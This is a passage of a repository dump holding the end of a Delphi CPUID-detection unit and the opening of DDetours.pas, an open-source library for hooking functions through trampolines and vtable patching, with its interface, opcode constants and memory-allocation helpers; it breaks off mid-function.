}\n  PUSHFD\n  POP EAX { Read EFLAGS }\n  {\n  Check if the 21 bit was modified !\n  If so ==> Return True .\n  else  ==> Return False.\n   }\n  XOR EAX, ECX\n  SHR EAX, 21\n  AND EAX, 1\n  PUSH ECX\n  POPFD  { Restore original EFLAGS value . }\n  POP ECX\n  {$ENDIF CPUX64}\nend;\n\nprocedure ___CallCPUID(const ID: NativeInt; var CPUIDStruct);\nasm\n  {\n  ALL REGISTERS (rDX,rCX,rBX) MUST BE SAVED BEFORE\n  EXECUTING CPUID INSTRUCTION !\n   }\n  {$IFDEF CPUX64}\n  PUSH R9\n  PUSH RBX\n  PUSH RDX\n  MOV RAX,RCX\n  MOV R9,RDX\n  CPUID\n  {$IFNDEF FPC}\n  MOV R9.TCPUIDStruct.rEAX,EAX\n  MOV R9.TCPUIDStruct.rEBX,EBX\n  MOV R9.TCPUIDStruct.rECX,ECX\n  MOV R9.TCPUIDStruct.rEDX,EDX\n  {$ELSE FPC}\n  MOV [R9].TCPUIDStruct.rEAX,EAX\n  MOV [R9].TCPUIDStruct.rEBX,EBX\n  MOV [R9].TCPUIDStruct.rECX,ECX\n  MOV [R9].TCPUIDStruct.rEDX,EDX\n  {$ENDIF !FPC}\n  POP RDX\n  POP RBX\n  POP R9\n  {$ELSE !CPUX64}\n\n  PUSH EDI\n  PUSH ECX\n  PUSH EBX\n  MOV EDI,EDX\n  CPUID\n  {$IFNDEF FPC}\n  MOV EDI.TCPUIDStruct.rEAX,EAX\n  MOV EDI.TCPUIDStruct.rEBX,EBX\n  MOV EDI.TCPUIDStruct.rECX,ECX\n  MOV EDI.TCPUIDStruct.rEDX,EDX\n  {$ELSE FPC}\n  MOV [EDI].TCPUIDStruct.rEAX,EAX\n  MOV [EDI].TCPUIDStruct.rEBX,EBX\n  MOV [EDI].TCPUIDStruct.rECX,ECX\n  MOV [EDI].TCPUIDStruct.rEDX,EDX\n  {$ENDIF !FPC}\n  POP EBX\n  POP ECX\n  POP EDI\n  {$ENDIF CPUX64}\nend;\n\nfunction ___IsAVXSupported: Boolean;\nasm\n  {\n  Checking for AVX support requires 3 steps:\n\n  1) Detect CPUID.1:ECX.OSXSAVE[bit 27] = 1\n  => XGETBV enabled for application use\n\n  2) Detect CPUID.1:ECX.AVX[bit 28] = 1\n  => AVX instructions supported.\n\n  3) Issue XGETBV and verify that XCR0[2:1] = ‘11b’\n  => XMM state and YMM state are enabled by OS.\n\n   }\n\n  { Steps : 1 and 2 }\n  {$IFDEF CPUX64}\n  MOV RAX, 1\n  PUSH RCX\n  PUSH RBX\n  PUSH RDX\n  {$ELSE !CPUX64}\n  MOV EAX, 1\n  PUSH ECX\n  PUSH EBX\n  PUSH EDX\n  {$ENDIF CPUX64}\n  CPUID\n  AND ECX, $018000000\n  CMP  ECX, $018000000\n  JNE  @@NOT_SUPPORTED\n  XOR  ECX,ECX\n  {\n  Delphi does not support XGETBV !\n  => We need to use the XGETBV opcodes !\n   }\n  DB $0F DB $01 DB $D0 // XGETBV\n  { Step :3 }\n  AND EAX, $06\n  CMP  EAX, $06\n  JNE @@NOT_SUPPORTED\n  MOV EAX, 1\n  JMP @@END\n@@NOT_SUPPORTED:\n  XOR EAX,EAX\n@@END:\n  {$IFDEF CPUX64}\n  POP RDX\n  POP RBX\n  POP RCX\n  {$ELSE !CPUX64}\n  POP EDX\n  POP EBX\n  POP ECX\n  {$ENDIF CPUX64}\nend;\n\nprocedure CallCPUID(ID: NativeUInt; var CPUIDStruct: TCPUIDStruct);\nbegin\n  FillChar(CPUIDStruct, SizeOf(TCPUIDStruct), #0);\n  if not CPUIDSupported then\n    raise Exception.Create('CPUID instruction not supported.')\n  else\n    ___CallCPUID(ID, CPUIDStruct);\nend;\n\nfunction IsCPUIDSupported: Boolean;\nbegin\n  Result := CPUIDSupported;\nend;\n\ntype\n  TVendorName = array [0 .. 12] of AnsiChar;\n\nfunction GetVendorName(): TVendorName;\nvar\n  Info: PCPUIDStruct;\n  P: PByte;\nbegin\n  Result := '';\n  if not IsCPUIDSupported then\n    Exit;\n  Info := GetMemory(SizeOf(TCPUIDStruct));\n  CallCPUID(0, Info^);\n  P := PByte(NativeInt(Info) + 4); // Skip EAX !\n  Move(P^, PByte(@Result[0])^, 12);\n  FreeMemory(Info);\nend;\n\nprocedure __Init__;\nvar\n  vn: TVendorName;\n  Info: TCPUIDStruct;\n  r: Cardinal;\nbegin\n  CPUVendor := vUnknown;\n{$IFDEF CPUX64}\n  CPUEncoding := [REX];\n{$ELSE !CPUX64}\n  CPUEncoding := [];\n{$ENDIF CPUX64}\n  CPUInsts := [];\n  if IsCPUIDSupported then\n  begin\n    vn := GetVendorName();\n    if vn = 'GenuineIntel' then\n      CPUVendor := vIntel\n    else if vn = 'AuthenticAMD' then\n      CPUVendor := vAMD\n    else if vn = 'NexGenDriven' then\n      CPUVendor := vNextGen;\n    CallCPUID(1, Info);\n    r := Info.rEAX and $F00;\n    case r of\n      $F00, $600:\n        Include(CPUInsts, iMultiNop);\n    end;\n    if ___IsAVXSupported then\n      Include(CPUEncoding, VEX);\n  end;\nend;\n\ninitialization\n\nCPUIDSupported := ___IsCPUIDSupported;\n__Init__;\n\nend.\n"
  },
  {
    "path": "Detour Hooking/Source/DDetours.pas",
    "content": "// **************************************************************************************************\n// Delphi Detours Library.\n// Unit DDetours\n// https://github.com/MahdiSafsafi/DDetours\n//\n// This Source Code Form is subject to the terms of the Mozilla\n// Public License, v. 2.0. If a copy of the MPL was not distributed\n// with this file, You can obtain one at\n// https://mozilla.org/MPL/2.0/.\n// **************************************************************************************************\n//\n// Contributors:\n// - David Millington : Added TDetours<T> class.\n// **************************************************************************************************\n\nunit DDetours;\n\n{define FIX_MADEXCEPT if you are using crash on buffer overrun/underrun feature from MadExcept }\n{.$DEFINE FIX_MADEXCEPT}\n{.$define DEVMODE}\n\n{$IFDEF FPC}\n{$MODE DELPHI}\n{$HINTS OFF}\n{$WARN 4045 OFF}\n{$WARN 4055 OFF}\n{$WARN 4056 OFF}\n{$WARN 4082 OFF}\n{$WARN 5024 OFF}\n{$WARN 5028 OFF}\n{$WARN 5057 OFF}\n{$WARN 5058 OFF}\n{$ENDIF FPC}\n\ninterface\n\n{$I DDetoursDefs.inc}\n\nuses\n\n{$IFDEF RENAMED_NAMESPACE}\n  System.SysUtils,\n  System.Classes,\n  WinApi.Windows,\n  WinApi.TLHelp32,\n{$IFNDEF SUPPORTS_MONITOR}\n  System.SyncObjs,\n{$ENDIF SUPPORTS_MONITOR}\n{$ELSE !RENAMED_NAMESPACE}\n  SysUtils,\n  Windows,\n  Classes,\n{$IFNDEF SUPPORTS_MONITOR}\n  SyncObjs,\n{$ENDIF SUPPORTS_MONITOR}\n{$IFNDEF FPC}\n  TLHelp32,\n{$ENDIF FPC}\n{$ENDIF RENAMED_NAMESPACE}\n{$IFDEF SUPPORTS_RTTI}\n  System.Generics.Collections,\n  System.Typinfo, System.RTTI,\n{$ENDIF SUPPORTS_RTTI}\n  LegacyTypes,\n  CPUID,\n  InstDecode;\n\ntype\n  InterceptException = Exception;\n  TTransactionOption = (toSuspendThread);\n  TTransactionOptions = set of TTransactionOption;\n\n  TInterceptOption = (ioForceLoad, ioRecursive);\n  TInterceptOptions = set of TInterceptOption;\n\nconst\n  { Maximum allowed number of hooks. }\n  MAX_HOOKS = 7;\n\n  DefaultInterceptOptions = [];\n  SErrorInvalidTType = '<T> must be a method';\n\n  { ========================================= DDetours Interface ========================================= }\nfunction InterceptCreate(const TargetProc, InterceptProc: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions)\n  : Pointer; overload;\nfunction InterceptCreate(const TargetInterface; MethodIndex: Integer; const InterceptProc: Pointer; const Param: Pointer = nil;\n  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload;\nfunction InterceptCreate(const Module, MethodName: String; const InterceptProc: Pointer; const Param: Pointer = nil;\n  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload;\nprocedure InterceptCreate(const TargetProc, InterceptProc: Pointer; var TrampoLine: Pointer; const Param: Pointer = nil;\n  const Options: TInterceptOptions = DefaultInterceptOptions); overload;\n\n{$IFDEF SUPPORTS_RTTI}\nfunction InterceptCreate(const TargetInterface; const MethodName: String; const InterceptProc: Pointer; const Param: Pointer = nil;\n  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload;\n{$ENDIF SUPPORTS_RTTI}\nfunction InterceptRemove(const TrampoLine: Pointer): Integer; overload;\n\nfunction GetHookCount(const TargetProc: Pointer): Integer; overload;\nfunction GetHookCount(const TargetInterface; MethodIndex: Integer): Integer; overload;\n{$IFDEF SUPPORTS_RTTI}\nfunction GetHookCount(const TargetInterface; const MethodName: String): Integer; overload;\n{$ENDIF SUPPORTS_RTTI}\nfunction IsHooked(const TargetProc: Pointer): Boolean; overload;\nfunction IsHooked(const TargetInterface; MethodIndex: Integer): Boolean; overload;\n{$IFDEF SUPPORTS_RTTI}\nfunction IsHooked(const TargetInterface; const MethodName: String): Boolean; overload;\n{$ENDIF SUPPORTS_RTTI}\nfunction PatchVt(const TargetInterface; MethodIndex: Integer; InterceptProc: Pointer): Pointer;\nfunction UnPatchVt(const TrampoLine: Pointer): Boolean;\n\nfunction BeginTransaction(Options: TTransactionOptions = [toSuspendThread]): THandle;\nfunction EndTransaction(Handle: THandle): Boolean;\n\nfunction EnterRecursiveSection(var TrampoLine; MaxRecursionLevel: NativeInt = 0): Boolean;\nfunction ExitRecursiveSection(var TrampoLine): Boolean;\n\nfunction GetCreatorThreadIdFromTrampoline(var TrampoLine): TThreadId;\nfunction GetTrampolineParam(var TrampoLine): Pointer;\n\n{$IFDEF SUPPORTS_GENERICS}\n\ntype\n  IIntercept<T, U> = interface(IInterface)\n    ['{EECBF3C2-3938-4923-835A-B0A6AD27744D}']\n    function GetTrampoline(): T;\n    function GetParam(): U;\n    function GetCreatorThreadId(): TThreadId;\n    function GetInterceptOptions(): TInterceptOptions;\n    function EnterRecursive(MaxRecursionLevel: NativeInt = 0): Boolean;\n    function ExitRecursive(): Boolean;\n\n    property NextHook: T read GetTrampoline;\n    property TrampoLine: T read GetTrampoline; // alias to NextHook\n    property Param: U read GetParam;\n    property CreatorThreadId: TThreadId read GetCreatorThreadId;\n    property InterceptOptions: TInterceptOptions read GetInterceptOptions;\n  end;\n\n  {\n    Based on David Millington's original implementation TDetours<T>.\n  }\n  TIntercept<T, U> = class(TInterfacedObject, IIntercept<T, U>)\n  private\n    FNextHook: T;\n    FTrampolinePtr: Pointer;\n    FParam: U;\n    FCreatorThreadId: TThreadId;\n    FInterceptOptions: TInterceptOptions;\n    function TToPointer(const A): Pointer;\n    function PointerToT(const P): T;\n    function EnsureTIsMethod(): Boolean;\n  public\n    function GetTrampoline(): T;\n    function GetParam(): U;\n    function GetCreatorThreadId(): TThreadId;\n    function GetInterceptOptions(): TInterceptOptions;\n    function EnterRecursive(MaxRecursionLevel: NativeInt = 0): Boolean;\n    function ExitRecursive(): Boolean;\n    constructor Create(const TargetProc, InterceptProc: T; const AParam: U; const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions); virtual;\n    destructor Destroy(); override;\n    property Param: U read FParam;\n    property NextHook: T read FNextHook;\n    property TrampoLine: T read FNextHook; // alias to NextHook\n    property CreatorThreadId: TThreadId read FCreatorThreadId;\n    property InterceptOptions: TInterceptOptions read FInterceptOptions;\n  end;\n\n  TIntercept<T> = class(TIntercept<T, Pointer>)\n  public\n    constructor Create(const TargetProc, InterceptProc: T; const AParam: Pointer = nil;\n      const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions); override;\n  end;\n{$ENDIF SUPPORTS_GENERICS}\n\ntype\n  DetourException = Exception;\n\nimplementation\n\nconst\n  { Nops }\n  Nop9: array [0 .. 8] of Byte = ($66, $0F, $1F, $84, $00, $00, $00, $00, $00);\n  Nop8: array [0 .. 7] of Byte = ($0F, $1F, $84, $00, $00, $00, $00, $00);\n  Nop7: array [0 .. 6] of Byte = ($0F, $1F, $80, $00, $00, $00, $00);\n  Nop6: array [0 .. 5] of Byte = ($66, $0F, $1F, $44, $00, $00);\n  Nop5: array [0 .. 4] of Byte = ($0F, $1F, $44, $00, $00);\n  Nop4: array [0 .. 3] of Byte = ($0F, $1F, $40, $00);\n  Nop3: array [0 .. 2] of Byte = ($0F, $1F, $00);\n  Nop2: array [0 .. 1] of Byte = ($66, $90);\n  Nop1: array [0 .. 0] of Byte = ($90);\n  MultiNops: array [0 .. 8] of PByte = ( //\n    @Nop1, { Standard Nop }\n    @Nop2, { 2 Bytes Nop }\n    @Nop3, { 3 Bytes Nop }\n    @Nop4, { 4 Bytes Nop }\n    @Nop5, { 5 Bytes Nop }\n    @Nop6, { 6 Bytes Nop }\n    @Nop7, { 7 Bytes Nop }\n    @Nop8, { 8 Bytes Nop }\n    @Nop9 { 9 Bytes Nop }\n    );\n\n  { Arithmetic operands }\n  arNone = $00;\n  arPlus = $08;\n  arMin = $10;\n  arAdd = arPlus or $01;\n  arSub = arMin or $01;\n  arInc = arPlus or $02;\n  arDec = arMin or $02;\n\n  { Instructions OpCodes }\n  opJmpRelz = $E9;\n  opJmpRelb = $EB;\n  opJmpMem = $25FF;\n  opTestb = $85;\n  opPrfOpSize = $66;\n  opPrfAddrSize = $67;\n  opNop = $90;\n\n  { thread constants }\n  THREAD_SUSPEND_RESUME = $0002;\n\n  { Error messages }\n  SErrorSmallFunctionSize = 'Size of function is too small, risk to override others adjacent functions.';\n  SErrorInvalidJmp = 'Invalid JMP Type.';\n  SErrorInvalidJmp64 = 'Invalid JMP Type for x64.';\n  SErrorInvalidJmp32 = 'Invalid JMP Type for x32.';\n  SErrorInvalidDstSave = 'Invalid DstSave Address pointer.';\n  SErrorUnsupportedMultiNop = 'Multi Bytes Nop Instructions not supported by your CPU.';\n  SErrorRipDisp = 'Failed to correcr RIP Displacement.';\n  SErrorBigTrampoSize = 'Exceed maximum TrampoSize.';\n  SErrorMaxHook = 'Exceed maximum allowed of hooks.';\n  SErrorInvalidTargetProc = 'Invalid TargetProc Pointer.';\n  SErrorInvalidInterceptProc = 'Invalid InterceptProc Pointer.';\n  SErrorInvalidDescriptor = 'Invalid Descriptor.';\n  SErrorInvalidTrampoline = 'Invalid TrampoLine Pointer.';\n  SErrorBeginUnHook = 'BeginUnHooks must be called outside BeginHooks/EndHooks.';\n  SErrorRecursiveSectionUnsupported = 'Trampoline was not marked to use recursive section.';\n  SErrorTlsOutOfIndexes = 'Tls out of indexes.';\n  { JMP Type }\n  JT_NONE = 0;\n  JT_REL8 = 1;\n  JT_REL16 = 2;\n  JT_REL32 = 3;\n  JT_MEM16 = 4;\n  JT_MEM32 = 5;\n  JT_MEM64 = 6;\n  JT_RIPZ = 7;\n\n{$IFDEF CPUX64}\n  JT_MEMN = JT_MEM64;\n{$ELSE !CPUX64}\n  JT_MEMN = JT_MEM32;\n{$ENDIF CPUX64}\n  { Jmp Type To Size }\n  JmpTypeToSize: array [0 .. 7] of Byte = ( //\n    0, { None }\n    2, { JT_REL8  = $EB + Rel8 }\n    4, { JT_REL16 = OpSizePrf + $E9 + Rel16 }\n    5, { JT_REL32 = $E9 + Rel32 }\n    7, { JT_MEM16 = OpSizePrf + $FF /4 + Disp32 }\n    6, { JT_MEM32 = $FF /4 + Disp32 }\n    6, { JT_MEM64 = $FF /4 + Disp32 }\n    14 { JT_RIPZ  = $FF /4 + Disp32 + DQ }\n    );\n\n  SizeToJmpType: array [0 .. 4] of Byte = ( //\n{$IFDEF CPUX86}\n    JT_REL8, { db }\n    JT_REL16, { dw }\n    JT_REL32, { dd }\n    JT_MEM32, { dd }\n    JT_MEM32 { dd }\n{$ELSE !CPUX86}\n    JT_REL8, { db }\n    JT_REL32, { dw }\n    JT_REL32, { dd }\n    JT_MEM64, { dq }\n    JT_MEM64 { dq }\n{$ENDIF CPUX86}\n    );\n\n  DscrSigSize = $08;\n  TmpSize = 32;\n\n  TrampolineSignature = $544C544C;\n\ntype\n  TArrayOfThreadId = array [0 .. HIGH(SmallInt) - 1] of DWORD;\n  PArrayOfThreadId = ^TArrayOfThreadId;\n\n  TTransactionStruct = record\n    Options: TTransactionOptions;\n    TID: DWORD;\n    PID: DWORD;\n    ThreadPriority: Integer;\n    SuspendedThreadCount: Integer;\n    SuspendedThreads: PArrayOfThreadId;\n  end;\n\n  PTransactionStruct = ^TTransactionStruct;\n\n  TOpenThread = function(dwDesiredAccess: DWORD; bInheritHandle: BOOL; dwThreadId: DWORD): THandle; stdcall;\n\n  TDscrSig = array [0 .. DscrSigSize - 1] of Byte;\n\n  TVirtualProtect = function(lpAddress: Pointer; dwSize: SIZE_T; flNewProtect: DWORD; var OldProtect: DWORD): BOOL; stdcall;\n  TVirtualAlloc = function(lpvAddress: Pointer; dwSize: SIZE_T; flAllocationType, flProtect: DWORD): Pointer; stdcall;\n  TVirtualQuery = function(lpAddress: Pointer; var lpBuffer: TMemoryBasicInformation; dwLength: SIZE_T): SIZE_T; stdcall;\n  TFlushInstructionCache = function(hProcess: THandle; const lpBaseAddress: Pointer; dwSize: SIZE_T): BOOL; stdcall;\n  TGetCurrentProcess = function: THandle; stdcall;\n  TVirtualFree = function(lpAddress: Pointer; dwSize: SIZE_T; dwFreeType: DWORD): BOOL; stdcall;\n\n  { TEnumThreadCallBack for EnumProcessThreads }\n  TEnumThreadCallBack = function(ID: DWORD; Param: Pointer): Boolean;\n\n  TInternalFuncs = record\n    VirtualAlloc: TVirtualAlloc;\n    VirtualFree: TVirtualFree;\n    VirtualProtect: TVirtualProtect;\n    VirtualQuery: TVirtualQuery;\n    FlushInstructionCache: TFlushInstructionCache;\n    GetCurrentProcess: TGetCurrentProcess;\n  end;\n\n  TTrampoInfo = record\n    Addr: PByte; // Pointer to first trampoline instruction .\n    Size: Byte; // Stolen bytes size .\n    PData: PByte; // Original Stolen bytes.\n  end;\n\n  PTrampoInfo = ^TTrampoInfo;\n\n  TJmpMem = packed record\n    OpCode: WORD; // $0F$25\n    Disp32: Integer;\n  end;\n\n  PJmpMem = ^TJmpMem;\n\n  TDescriptor = packed record\n    Sig: TDscrSig; { Table signature. }\n    DscrAddr: PByte; { Pointer that hold jmp address (if Used)! }\n    nHook: Byte; { Number of hooks . }\n    Flags: Byte; { Reserved for future use! }\n    ExMem: PByte; { Reserved for jmp (if used) & for Trampoline ! }\n    OrgPtr: PByte; { Original Target Proc address. }\n    Trampo: PTrampoInfo; { Pointer to TrampoInfo struct. }\n    { Array that hold jmp destination address. }\n    JmpAddrs: array [0 .. MAX_HOOKS] of PByte;\n    {\n      Mark the beginning of descriptor code executing .\n      ==> Must be NOP .\n    }\n    CodeEntry: Byte;\n    { Jmp Instruction for NextHook call and Trampoline call ! }\n    JmpMems: array [0 .. MAX_HOOKS] of TJmpMem;\n  end;\n\n  PDescriptor = ^TDescriptor;\n\n  TNextHook = packed record\n    ID: Byte; { Hook ID . }\n    PDscr: PDescriptor;\n    Signature: Cardinal;\n    threadid: TThreadId;\n    Param: Pointer;\n    TlsRecursionLevelIndex: DWORD;\n    InterceptOptions: TInterceptOptions;\n  end;\n\n  PNextHook = ^TNextHook;\n\n  TTrampoDataVt = record\n    vAddr: Pointer;\n    Addr: Pointer;\n  end;\n\n  PTrampoDataVt = ^TTrampoDataVt;\n\nconst\n  TrampoSize = SizeOf(TNextHook) + 64;\n\n  { Descriptor Signature }\n{$IFDEF CPUX64}\n  DscrSig: TDscrSig = ( //\n    $90, { NOP }\n    $40, { REX }\n    $40, { REX }\n    $40, { REX }\n    $0F, { ESCAPE TWO BYTE }\n    $1F, { HINT_NOP }\n    $F3, { PRF }\n    $F3 { PRF }\n    );\n{$ELSE !CPUX64}\n  DscrSig: TDscrSig = ( //\n    $90, { NOP }\n    $40, { INC EAX }\n    $48, { DEC EAX }\n    $90, { NOP }\n    $0F, { ESCAPE TWO BYTE }\n    $1F, { HINT_NOP }\n    $F3, { PRF }\n    $F3 { PRF }\n    );\n{$ENDIF CPUX64}\n{$IFDEF FPC}\n{$I 'TlHelp32.inc'}\n{$ENDIF FPC}\n\nvar\n  OpenThread: TOpenThread = nil;\n{$IFDEF FPC}\n  CreateToolhelp32Snapshot: TCreateToolhelp32Snapshot = nil;\n  Thread32First: TThread32First = nil;\n  Thread32Next: TThread32Next = nil;\n{$ENDIF FPC}\n  hKernel: THandle;\n  OpenThreadExist: Boolean = False;\n  FreeKernel: Boolean = False;\n  SizeOfAlloc: DWORD = 0; // See initialization !\n  SysInfo: TSystemInfo;\n  InternalFuncs: TInternalFuncs;\n{$IFDEF SUPPORTS_MONITOR}\n  FLock: TObject = nil;\n{$ELSE !SUPPORTS_MONITOR}\n  FLock: TCriticalSection = nil;\n{$ENDIF SUPPORTS_MONITOR }\n  { ================================== Utils ================================== }\n\nfunction GetUInt64Size(const Value: UInt64): Integer; {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE}\nbegin\n  if UInt8(Value) = Value then\n    Result := 1\n  else if UInt16(Value) = Value then\n    Result := 2\n  else if UInt32(Value) = Value then\n    Result := 4\n  else\n    Result := 8;\nend;\n\nfunction GetInt64Size(const Value: Int64): Integer; {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE}\nbegin\n  if Int8(Value) = Value then\n    Result := 1\n  else if Int16(Value) = Value then\n    Result := 2\n  else if Int32(Value) = Value then\n    Result := 4\n  else\n    Result := 8;\nend;\n\nprocedure EnterLook(LockedObject: TObject); {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE}\nbegin\n{$IFDEF SUPPORTS_MONITOR}\n  TMonitor.Enter(LockedObject);\n{$ELSE !SUPPORTS_MONITOR}\n  TCriticalSection(LockedObject).Enter();\n{$ENDIF SUPPORTS_MONITOR}\nend;\n\nprocedure LeaveLook(LockedObject: TObject); {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE}\nbegin\n{$IFDEF SUPPORTS_MONITOR}\n  TMonitor.Exit(LockedObject);\n{$ELSE !SUPPORTS_MONITOR}\n  TCriticalSection(LockedObject).Leave();\n{$ENDIF SUPPORTS_MONITOR}\nend;\n\nfunction EnumProcessThreads(PID: DWORD; CallBack: TEnumThreadCallBack; Param: Pointer): BOOL;\nvar\n  hSnap: THandle;\n  te: TThreadEntry32;\n  Next: Boolean;\nbegin\n  hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, PID);\n  Result := hSnap <> INVALID_HANDLE_VALUE;\n  if Result then\n  begin\n    te.dwSize := SizeOf(TThreadEntry32);\n    Next := Thread32First(hSnap, te);\n    while Next do\n    begin\n      if (te.th32OwnerProcessID = PID) then\n      begin\n        try\n          if not CallBack(te.th32ThreadID, Param) then\n            break;\n        except\n        end;\n      end;\n      Next := Thread32Next(hSnap, te);\n    end;\n    Result := CloseHandle(hSnap);\n  end;\nend;\n\nfunction SetMemPermission(const P: Pointer; const Size: SIZE_T; const NewProtect: DWORD): DWORD;\nconst\n  PAGE_EXECUTE_FLAGS = PAGE_EXECUTE or PAGE_EXECUTE_READ or PAGE_EXECUTE_READWRITE or PAGE_EXECUTE_WRITECOPY;\nbegin\n  Result := 0;\n  if Assigned(P) and (Size > 0) and (NewProtect > 0) then\n  begin\n    if InternalFuncs.VirtualProtect(P, Size, NewProtect, Result) then\n      if (NewProtect and PAGE_EXECUTE_FLAGS <> 0) then\n        {\n          If the protected region will be executed\n          => We need to update the cpu cache !\n        }\n        InternalFuncs.FlushInstructionCache(InternalFuncs.GetCurrentProcess(), P, Size);\n  end;\nend;\n\nfunction GetDispDataSize(PInst: PInstruction): Integer;\nbegin\n  Result := 0;\n  if PInst^.Disp.Flags and dfUsed <> 0 then\n  begin\n    if PInst^.Archi = CPUX32 then\n    begin\n      if PInst^.Prefixes and Prf_OpSize <> 0 then\n        Result := ops16bits\n      else\n        Result := ops32bits;\n      Exit;\n    end\n    else\n    begin\n      case PInst^.OperandFlags of\n        opdD64:\n          begin\n            {\n              Defaults to O64 in PM64.\n              PrfOpSize results in O16.\n            }\n            if PInst^.Prefixes and Prf_OpSize <> 0 then\n              Result := ops16bits\n            else\n              Result := ops64bits;\n          end;\n        opdF64, opdDv64:\n          begin\n            { The operand size is forced to a 64-bit operand size in PM64 ! }\n            Result := (ops64bits);\n            Exit;\n          end;\n        opdDf64:\n          begin\n            {\n              Defaults to O64 in PM64.\n              PrfOpSize results in O16 in AMD64.\n              PrfOpSize is ignored in EM64T.\n            }\n            if (CPUVendor = vAMD) and (PInst^.Prefixes and Prf_OpSize <> 0) then\n              Result := (ops16bits)\n            else\n              Result := (ops64bits);\n            Exit;\n          end;\n      else\n        begin\n          if PInst^.Rex.W then\n            Result := (ops64bits)\n          else if (PInst^.Prefixes and Prf_OpSize <> 0) then\n            Result := (ops16bits)\n          else\n            Result := (ops32bits);\n          Exit;\n        end;\n      end;\n    end;\n  end;\nend;\n\nfunction fDecodeInst(PInst: PInstruction): Integer;\nvar\n  IsNxtInstData: Boolean;\nbegin\n  { Include VEX decoding if the cpu support it! }\n  if (VEX in CPUEncoding) then\n    PInst.Options := DecodeVex;\n\n  Result := DecodeInst(PInst);\n\n{$IFDEF CPUX64}\n  IsNxtInstData := ((PInst^.Disp.Flags and (dfUsed or dfRip) = (dfUsed or dfRip)) and (PInst^.Disp.Value = 0));\n{$ELSE !CPUX64}\n  IsNxtInstData := (PInst^.Disp.Value = Int64(PInst^.NextInst));\n{$ENDIF CPUX64}\n  if IsNxtInstData then\n  begin\n    {\n      Check if the Next Instruction is data !\n      If so , That's mean it's not a valid instruction .\n      We must skip this data ..\n      otherwise , disassembling next instructions will fail !\n    }\n    Inc(Result, GetDispDataSize(PInst));\n    PInst^.InstSize := Result;\n  end;\nend;\n\nfunction RoundMultipleOf(const Value, MultipleOf: NativeInt): NativeInt; {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE}\nbegin\n  if Value = 0 then\n  begin\n    Result := (MultipleOf);\n    Exit;\n  end;\n  Result := ((Value + (MultipleOf - 1)) and not(MultipleOf - 1));\nend;\n\nfunction AllocMemAt(const Addr: Pointer; const MemSize, flProtect: DWORD): Pointer;\nvar\n  mbi: TMemoryBasicInformation;\n  SysInfo: TSystemInfo;\n  pBase: PByte;\n  P: PByte;\n  Q: PByte;\n  pMax, pMin: PByte;\n  dwAllocGran: DWORD;\nbegin\n  { Alloc memory on the specific nearest address from the Addr . }\n\n  Result := nil;\n  P := PByte(Addr);\n  if not Assigned(P) then\n  begin\n    Result := InternalFuncs.VirtualAlloc(nil, MemSize, MEM_RESERVE or MEM_COMMIT, flProtect);\n    Exit;\n  end;\n\n  GetSystemInfo(SysInfo);\n  pMin := SysInfo.lpMinimumApplicationAddress;\n  pMax := SysInfo.lpMaximumApplicationAddress;\n  dwAllocGran := SysInfo.dwAllocationGranularity;\n\n  if (NativeUInt(P) < NativeUInt(pMin)) or (NativeUInt(P) > NativeUInt(pMax)) then\n    Exit;\n  if InternalFuncs.VirtualQuery(P, mbi, SizeOf(mbi)) = 0 then\n    Exit;\n\n  pBase := mbi.BaseAddress;\n  Q := pBase;\n  while NativeUInt(Q) < NativeUInt(pMax) do\n  begin\n    if InternalFuncs.VirtualQuery(Q, mbi, SizeOf(mbi)) = 0 then\n      Exit;\n    if (mbi.State = MEM_FREE) and (mbi.RegionSize >= dwAllocGran) and (mbi.RegionSize >= MemSize) then\n    begin\n      { The address (P) must be multiple of the allocation granularity (dwAllocationGranularity) . }\n      P := PByte(RoundMultipleOf(NativeInt(Q), dwAllocGran));\n      Result := InternalFuncs.VirtualAlloc(P, MemSize, MEM_RESERVE or MEM_COMMIT, flProtect);\n      if Assigned(Result) then\n        Exit;\n    end;\n    Inc(Q, mbi.RegionSize); // Next Region .\n  end;\n  {\n    If thre is no memory available in the range [Addr - pMax]\n    try to allocate at the range [pMin - Addr]\n  }\n  Q := pBase;\n  while NativeUInt(Q) > NativeUInt(pMin) do\n  begin\n    if InternalFuncs.VirtualQuery(Q, mbi, SizeOf(mbi)) = 0 then\n      Exit;\n    if (mbi.State = MEM_FREE) and (mbi.RegionSize >= dwAllocGran) and (mbi.RegionSize >= MemSize) then\n    begin\n      P := PByte(RoundMultipleOf(NativeInt(Q), dwAllocGran));\n      Result := InternalFuncs.VirtualAlloc(P, MemSize, MEM_RESERVE or MEM_COMMIT, flProtect);\n      if Assigned(Result) then\n        Exit;\n    end;\n    Dec(Q, mbi.RegionSize); // Previous Region.\n  end;\nend;\n\nfunction TryAllocMemAt(const Addr: Pointer; const MemSize, flProtect: DWORD): Pointer;\nvar\n  MEM_64: DWORD;\nbegin\n  MEM_64 := 0;\n  Result := AllocMemAt(Addr, MemSize, flProtect);\n  if not Assigned(Result) then\n  begin\n{$IFDEF CPUX64}\n    { Allocates memory at the highest possible address }\n    if (UInt64(Addr) and $FFFFFFFF00000000 <> 0) then\n      MEM_64 := MEM_TOP_DOWN;\n{$ENDIF CPUX64}\n    Result := InternalFuncs.VirtualAlloc(nil, MemSize, MEM_RESERVE or MEM_COMMIT or MEM_64, flProtect);\n  end;\nend;\n\nfunction InsertJmp(Src, Dst: PByte; JmpType: Integer; const DstSave: PByte = nil): Integer;\nvar\n  Offset: NativeInt;\n  JmpSize: Integer;\nbegin\n  Result := 1;\n  JmpSize := JmpTypeToSize[JmpType];\n  Offset := NativeInt(NativeInt(Dst) - NativeInt(Src)) - JmpSize;\n  case JmpType of\n    JT_NONE:\n      begin\n        raise InterceptException.Create(SErrorInvalidJmp);\n      end;\n    JT_REL8:\n      begin\n        PByte(Src)^ := opJmpRelb;\n        Inc(Src);\n        PInt8(Src)^ := 